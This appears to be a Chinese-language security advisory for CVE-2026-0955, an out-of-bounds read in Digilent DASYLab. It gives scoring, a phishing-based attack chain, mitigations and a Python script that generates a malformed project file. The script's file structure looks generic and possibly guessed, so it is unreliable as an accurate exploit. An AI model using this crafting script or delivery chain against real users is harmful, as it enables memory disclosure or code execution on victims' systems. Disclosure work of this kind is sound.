IPBUF安全漏洞报告
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CVE-2026-0955 CVSS 7.8 高危

CVE-2026-0955: Digilent DASYLab越界读取内存损坏漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-0955
漏洞类型
内存损坏/越界读取
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Digilent DASYLab

相关标签

内存损坏越界读取Digilent DASYLabCVE-2026-0955本地攻击代码执行信息泄露高危漏洞

漏洞概述

CVE-2026-0955是Digilent DASYLab软件中的一个高危内存损坏漏洞。该漏洞源于软件在加载损坏或特制的文件时存在的越界读取问题。攻击者可以通过精心构造恶意文件,当受害用户打开该文件时,触发内存中的越界读取操作。此漏洞可能导致敏感信息泄露或任意代码执行风险。由于攻击复杂度较低且不需要认证即可利用,但对用户交互有一定要求,攻击者通常需要诱导受害者打开恶意文件。该漏洞影响Digilent DASYLab的所有版本,CVSS评分达到7.8,属于高危级别。成功利用此漏洞可能使攻击者在受害者系统上执行任意代码,从而完全控制受影响的系统。

技术细节

该漏洞为典型的越界读取(Out-of-Bounds Read)内存损坏问题。在Digilent DASYLab处理文件加载过程中,软件未能正确验证输入文件的格式和大小,导致读取操作超出预期的内存边界。当软件解析特制的损坏文件时,内存指针可能访问未分配或受保护的内存区域。这种越界读取可能暴露内存中的敏感数据(如密钥、凭据或其他进程内存内容),在某些情况下还可能触发进一步的内存破坏,为代码执行创造条件。攻击者需要构造包含特定字节序列的恶意文件,利用文件格式解析中的边界检查缺陷。由于该软件常用于工业数据采集和实验室测试,攻击者可能针对特定行业用户进行定向攻击。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意构造数据的特制DASYLab文件,利用文件解析中的边界检查缺陷
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载或社会工程学手段诱导受害者获取该恶意文件
STEP 3
步骤3
受害者使用存在漏洞的Digilent DASYLab版本打开该恶意文件
STEP 4
步骤4
软件在解析文件时触发越界读取,访问超出预期边界的内存区域
STEP 5
步骤5
攻击者可利用此漏洞实现信息泄露(读取敏感内存数据)或在特定条件下执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0955 PoC - Digilent DASYLab Out-of-Bounds Read # Generate malicious DASYLab file to trigger OOB read import struct def create_malicious_dasylab_file(filename): """Generate a malformed DASYLab file to trigger out-of-bounds read""" # DASYLab file header structure header = bytearray() # File signature (DASYLab format identifier) header.extend(b'DASYLAB') # Version field - corrupted to trigger parsing error header.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid version # File size field - manipulated to cause OOB read header.extend(struct.pack('<I', 0x00000001)) # Unusually small # Chunk count - excessive to overflow internal counters header.extend(struct.pack('<I', 0x7FFFFFFF)) # Create malformed data chunks data_chunks = bytearray() for i in range(100): # Corrupted chunk header chunk_type = b'\x00' * 4 chunk_size = struct.pack('<I', 0xFFFFFFFF) # Invalid size data_chunks.extend(chunk_type + chunk_size) # Malformed chunk data with invalid pointers malformed_data = b'\x41' * 1000 data_chunks.extend(malformed_data) # EOF marker corruption header.extend(b'\xFF\xFF\xFF\xFF') # Combine header and data malicious_file = header + data_chunks with open(filename, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DASYLab file created: {filename}") print(f"[+] File size: {len(malicious_file)} bytes") print(f"[!] This file may trigger OOB read in vulnerable versions") if __name__ == "__main__": create_malicious_dasylab_file("CVE-2026-0955.malformed.dld")

影响范围

Digilent DASYLab < 所有版本(所有版本均受影响)

防御指南

临时缓解措施
在官方修复补丁发布前,建议采取以下临时措施:不要打开来源不明的DASYLab文件;对所有外部接收的文件进行安全扫描;限制DASYLab软件的运行时权限;启用操作系统安全防护机制;在隔离环境中测试未知来源的文件;定期备份重要数据以防万一。

参考链接

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